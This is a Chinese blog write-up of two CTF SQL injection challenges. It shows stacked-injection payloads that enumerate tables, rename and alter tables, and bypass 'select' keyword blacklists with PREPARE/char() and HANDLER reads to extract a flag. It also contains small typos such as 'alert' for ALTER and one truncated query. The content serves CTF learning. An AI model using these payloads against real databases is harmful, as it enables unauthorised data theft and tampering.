[GYCTF2020]Blacklist 强网杯随便注

2024-01-23 21:32

本文主要是介绍[GYCTF2020]Blacklist 强网杯随便注,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

强网杯随便注

先测试
在这里插入图片描述
字符型

1' or '1'='1

在这里插入图片描述

return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);

过滤了select
先看表,看列
堆叠注入
payload:

1';show tables;%23

在这里插入图片描述

1';show columns from `1919810931114514`;%23

在这里插入图片描述
flag在这里
再看看另一个表

1';show columns from `words`; %23

可以发现这个表是可以回显内容的
在这里插入图片描述
我们可以用函数将1919810931114514表改成words表,来让他自动回显
改名

RENAME TABLE `words` TO `words1`;
RENAME TABLE `1919810931114514` TO `words`;

将新words表的flag改为id避免开始无法查询

ALTER TABLE `words` CHANGE `flag` `id` VARCHAR(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;

最后查看新words表

columns from words;

这是使用alert 和 rename函数

接下来还有
预处理语句使用方法

PREPARE name from '[my sql sequece]';   //预定义SQL语句
EXECUTE name;  //执行预定义SQL语句
(DEALLOCATE || DROP) PREPARE name;  //删除预定义SQL语句
SET @tn = 'hahaha';  //存储表名
SET @sql = concat('select * from ', @tn);  //存储SQL语句
PREPARE name from @sql;   //预定义SQL语句
EXECUTE name;  //执行预定义SQL语句
(DEALLOCATE || DROP) PREPARE sqla;  //删除预定义SQL语句

由于过滤了select
可以用chr()
最后payload:

1';PREPARE jwt from concat(char(115,101,108,101,99,116), ' * from `1919810931114514` ');EXECUTE jwt;#

[GYCTF2020]Blacklist

由强网杯随便注改编而来
步骤类似
先测试
在这里插入图片描述
字符型注入
再输入

1' or '1'='1

在这里插入图片描述
联合注入
返回了过滤内容

return preg_match("/set|prepare|alter|rename|select|update|delete|drop|insert|where|\./i",$inject);

堆叠注入
payload:
看表

1';show tables;#

在这里插入图片描述
看列
payload

1';show columns from `FlagHere`; %23

在这里插入图片描述
由于过滤了prepare和alert
我们可以用
HANDLER方法
官方文档
payload:

1';HANDLER FlagHere OPEN;HANDLER FlagHere READ FIRST;HANDLER FlagHere CLOSE;#

这篇关于[GYCTF2020]Blacklist 强网杯随便注的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/637591

相关文章

周日随便看看

 1.Java中的方法覆盖(Overriding)和方法重载(Overloading)是什么意思 Java中的方法重载发生在同一个类里面两个或者是多个方法的方法名相同但是参数不同的情况。与此相对,方法覆盖是说子类重新定义了父类的方法。方法覆盖必须有相同的方法名,参数列表和返回类型。覆盖者可能不会限制它所覆盖的方法的访问。 2.JDBC是什么意思 JDBC是允许用户在不同数据库之间做

demo。。。。。。。。勿看,随便记的

表 顺序表:创建表标签,有数据,有总个数,当前位置 链表。单项链表,双向列表,循环列表 顺序栈:创建栈标签,有数据,有栈位置,有总个数,先进后出 链式栈:链表,数据,头插法 顺序队列:创建队列标签,有数据,有队头,有队尾,先进先出,队头等于队尾,则为空队列,队尾加一等于队头作为满队,需要留出一位空位,否则队头等于队尾时不好判断是满队还是空队。在内部相当于小循环,一直入队出队 链式队列,

Java随便写写Object

我先梭哈了,你们随意 一、关于Java Object的方法 解释: 1.Object类是所有Java类的祖先。每个类都使用 Object 作为超类。所有对象(包括数组)都实现这个类的方法。 2.可以使用类型为Object的变量指向任意类型的对象。 Java Object类的详细内容 package java.lang;public class Object {//native修饰,说明这是一

[随便学学]在doker服务器中实现ssh免密登陆

前言:最近登陆服务器,发现每次都需要输密码。所以想看看有没有一劳永逸的办法,能够不输密码。免密登陆。 ssh(secure shell)是一种网络协议,用于在不安全的网络中建立安全的远程连接。ssh无密码登陆是通过公钥加密技术,实现在ssh连接中无需输入密码即可登陆远程服务器的方法。 加密技术 先讲讲什么是对称加密和非对称加密,我的理解是: 1.对称加密是对信息的上锁和解锁,是同一把钥

路由器IP地址可以随便改吗?了解背后的真相与操作要点

随着网络的普及和智能家居的发展,路由器作为连接我们与数字世界的桥梁,其重要性日益凸显。在使用路由器的过程中,IP地址是一个关键的概念。然而,很多人对于路由器IP地址的修改存在疑问:是否可以随意更改?更改后又会有哪些影响?虎观代理小二将为您解答这些问题,帮助您更好地理解和使用路由器。 一、路由器IP地址的作用与分类 IP地址,即互联网协议地址,是分配给每个连接互联网的设备的唯一标识符。路由器

随便聊聊网络游戏开发模式

本文仅是闲聊罢了,并非开发教程,有意依此学习的同学注意一下. 就网络游戏开发而言,目前主流的同步方式大概是以下两种: 帧同步 顾名思义,就是按"帧"(一般指逻辑帧)来进行网络同步,一般实现上,都是客户端按"帧"来发送自己的操作数据(无操作也是一种操作(也要发送)),服务器收取到所有客户端的操作数据之后统一进行分发,客户端收取到分发数据之后则进行"帧"模拟,由于只同步操作数据(客户端各自

accept函数的参数不是随便填的

#include<sys/socket.h>int accept(int sockfd, struct sockaddr* addr, socklen_t* len)返回:非负描述字——成功, -1——失败 accept默认会阻塞进程,直到有一个客户连接建立后返回,它返回的是一个新可用的套接字,这个套接字是连接套接字。此时我们需要区分两种套接字,一种套接字正如accept的参数sock

C语言 自己的杂记,随便写的,备忘用

C语言的主函数声明: int main(int argc, char *argv[])//或者int main(void) 指针: int *foo;//并不是生命一个名为*foo的变量,变量是foo,foo的类型是“指向int的指针”。int* foo, bar;//并不是声明两个“指向int的指针”,一个是*foo,一个是bar;//数组:p[i]是*(p+i)的简便

随便写写之——CSDN个人主页布局

最近一直在看题,真的好无聊,晚上睡觉前脑子里想的都是JS,不会是焦虑症犯了吧,赶紧写点东西,现在是上午9点38分,想着写个csdn的布局练练手吧。 现在是11点半,写个将近两个小时就写了那么点,好久没写基础布局了,感觉基础还是有点不行,用el组件的话可能会更快点吧。想到就写了,可能有很多冗余的代码~感觉还是得多练练~ 直接新建vue项目~ 这边看下csdn的布局。。。嗯。

随便给1000个数值,查找3个乘积最大的三个数

题目: 随便给1000个数值,查找3个乘积最大的三个数 补:这个1000个都是正常的自然数,可能是值0 ,0.1,-0.1,1.1,1 ,-1,-1.1, 100 ,-100.23 对于这样的题目,感觉就是做数学题,但是在计算机语言中,一切都要按程序来。 解析: 很明显,我们都知道1以下的数,乘啥都不会大于1 算法: 1.找出比1大的数的集合。 2.取这个集合里面的最大三个数,方法